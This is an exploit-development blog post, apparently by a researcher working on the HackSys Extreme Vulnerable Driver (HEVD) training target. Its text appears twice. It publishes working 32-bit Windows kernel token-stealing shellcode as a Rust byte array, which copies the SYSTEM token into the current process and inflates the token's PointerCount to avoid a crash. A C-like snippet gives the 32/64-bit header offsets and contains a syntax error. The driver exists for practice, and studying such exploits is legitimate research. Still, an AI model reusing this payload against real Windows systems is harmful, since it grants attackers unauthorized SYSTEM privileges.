Hello,
I've been playing a bit with HEVD and it is indeed a fun challenge.
I will publish my multi-exploit but I won't detail exploitation as there is a lot of documentation on the techniques used already.
The part that is surprising though is that the token stealing payload not updating the reference counter is a well known issue all around ... but I haven't seen a public payload that fixes it.
It is written in assembly but I used it in Rust :).
So what it does after stealing the token is the following:
When your NT_AUTHORITY/SYSTEM shell is closed/exited, that counter is decremented.
As soon as it reaches 0, the token is freed but it is still used by the SYSTEM process.
That's part of why we get a BSoD if that's not taken cared of.
That's it, you can now exploit successfully multiple times without fearing a BSoD due to a BAD_POINTER_REFERENCE error ;).
Cheers,
m_101
- HEVD : https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
I've been playing a bit with HEVD and it is indeed a fun challenge.
I will publish my multi-exploit but I won't detail exploitation as there is a lot of documentation on the techniques used already.
The part that is surprising though is that the token stealing payload not updating the reference counter is a well known issue all around ... but I haven't seen a public payload that fixes it.
The payload
It is written in assembly but I used it in Rust :).
fn get_payload_token_stealing (payload_end : &[u8]) -> Vec<u8> { let mut token_stealing_payload : Vec<u8> = vec![ 0x60, // pushad // Get nt!_KPCR.PcrbData.CurrentThread 0x31, 0xc0, // xor eax,eax 0x64, 0x8b, 0x80, 0x24, 0x01, 0x00, 0x00, // mov eax,[fs:eax+0x124] // Get nt!_KTHREAD.ApcState.Process 0x8b, 0x40, 0x50, // mov eax,[eax+0x50] 0x89, 0xc1, // mov ecx,eax 0xba, 0x04, 0x00, 0x00, 0x00, // mov edx,0x4 // lookup for the system eprocess 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, // mov eax,[eax+0xb8] 0x2d, 0xb8, 0x00, 0x00, 0x00, // sub eax,0xb8 0x39, 0x90, 0xb4, 0x00, 0x00, 0x00, // cmp [eax+0xb4],edx 0x75, 0xed, // jnz 0x1a // get the system token 0x8b, 0x90, 0xf8, 0x00, 0x00, 0x00, // mov edx,[eax+0xf8] // patch it in our current eprocess 0x89, 0x91, 0xf8, 0x00, 0x00, 0x00, // mov [ecx+0xf8],edx // Increment the token reference count. // The PointerCount gets decremented when the process exit. // If it arrives to 0, // the SYSTEM TOKEN is freed and this causes a BSoD. // Here we won't get that BSoD, // since we "properly" increase the PointerCount. // OBJECT_HEADER.PointerCount 0xb9, 0x07, 0x00, 0x00, 0x00, // mov ecx, 7 0xf7, 0xd1, // not ecx 0x21, 0xca, // and edx, ecx // TOKEN-0x18 = Token Object Header 0x83, 0xea, 0x18, // sub edx, 0x18 // patch PointerCount // set it to a high value 0xc7, 0x02, 0x00, 0x00, 0x01, 0x00, // mov dword ptr [edx], 0x10000 // set NTSTATUS to 0 0x31, 0xc0, // xor eax,eax \ 0x61, // popad \ ]; for byte in payload_end.iter() { token_stealing_payload.push(*byte); } token_stealing_payload }
So what it does after stealing the token is the following:
// there are no condition in the ASM but showing how it can be done in 32 and 64 bits _OBJECT_HEADER *hdr; if (arch == 32) { hdr = (uint8_t *) pToken - 0x18; } else (arch == 64 { hdr = (uint8_t *) pToken - 0x30; } else { // fail } hdr->PointerCount = 0x10000;
Why is it important to update that reference counter?
When your NT_AUTHORITY/SYSTEM shell is closed/exited, that counter is decremented.
As soon as it reaches 0, the token is freed but it is still used by the SYSTEM process.
That's part of why we get a BSoD if that's not taken cared of.
Conclusion
That's it, you can now exploit successfully multiple times without fearing a BSoD due to a BAD_POINTER_REFERENCE error ;).
Cheers,
m_101
References
- HEVD : https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
Aucun commentaire :
Enregistrer un commentaire